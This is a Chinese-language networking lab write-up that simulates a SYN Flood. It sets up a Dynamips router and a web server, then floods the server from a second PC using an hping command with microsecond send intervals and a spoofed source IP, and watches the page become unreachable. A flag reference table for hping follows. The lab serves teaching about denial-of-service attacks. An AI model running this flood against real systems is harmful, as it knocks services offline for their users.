需求描述

使用hping构造SYN报文段,模拟实现SYN Flood

clip_image002

R1

Router1 F0/0 <----> XPC P0/0

Router1 F1/0 <----> XPC P0/1

Router1 F2/0 <----> XPC P0/2

环境搭建

使用VMWare和Dynamips。(PC1可以使用本地宿主机)

实现思路

1. 配置DynamipsGUI - R1

Router#conf t

Router(config)#hostname R1

R1(config)#line 0

R1(config-line)#logg s

R1(config-line)#exit

R1(config)#int f0/0

R1(config-if)#ip add 192.168.0.254 255.255.255.0

R1(config-if)#no shut

R1(config-if)#int f1/0

R1(config-if)#ip add 192.168.1.254 255.255.255.0

R1(config-if)#no shut

R1(config-if)#int f2/0

R1(config-if)#ip add 192.168.2.254 255.255.255.0

R1(config-if)#no shut

R1(config-if)#end

R1#show ip int b

Interface IP-Address OK? Method Status Protocol

FastEthernet0/0 192.168.0.254 YES manual up up

FastEthernet1/0 192.168.1.254 YES manual up up

FastEthernet2/0 192.168.2.254 YES manual up up

2. 在Web主机上搭建安装Web服务

clip_image004

3. 在PC1上访问Web服务器,可以正常访问。

clip_image006

4. 在Web服务器上启用SnifferPro抓包

5. 在PC2上发动SYN Flood***(需要提前安装Hping源码包)

[root@localhost ~]# hping 192.168.1.1 -p 80 -i u1 -S -a 1.1.1.1

HPING 192.168.1.1 (eth0 192.168.1.1): S set, 40 headers + 0 data bytes

6. 在Web主机上查看SnifferPro抓到的包,看到有很多SYN Flood

clip_image008

7. 在PC1上访问Web服务器时,看到打开网页时非常慢,甚至无法访问

clip_image010

补充:

hping相关参数说明

参数

说明

-1

使用ICMP模式

-2

使用UDP模式

-p

指定目的主机端口号

-i

设置发送时间间隔,例如 -i u100 表示间隔100微秒

-S

设置SYN标志

-a

伪造源IP地址

-c

发送数据包个数

-N

设置IP包的ID

-t

设置TTL(默认64

-x

设置more fragments 标志

-g

设置fragment offset

-C

设置ICMP类型

-d

设置载荷大小

 

至此、实验完毕!

欢迎来我的博客:http://jiayf.blog.51cto.com/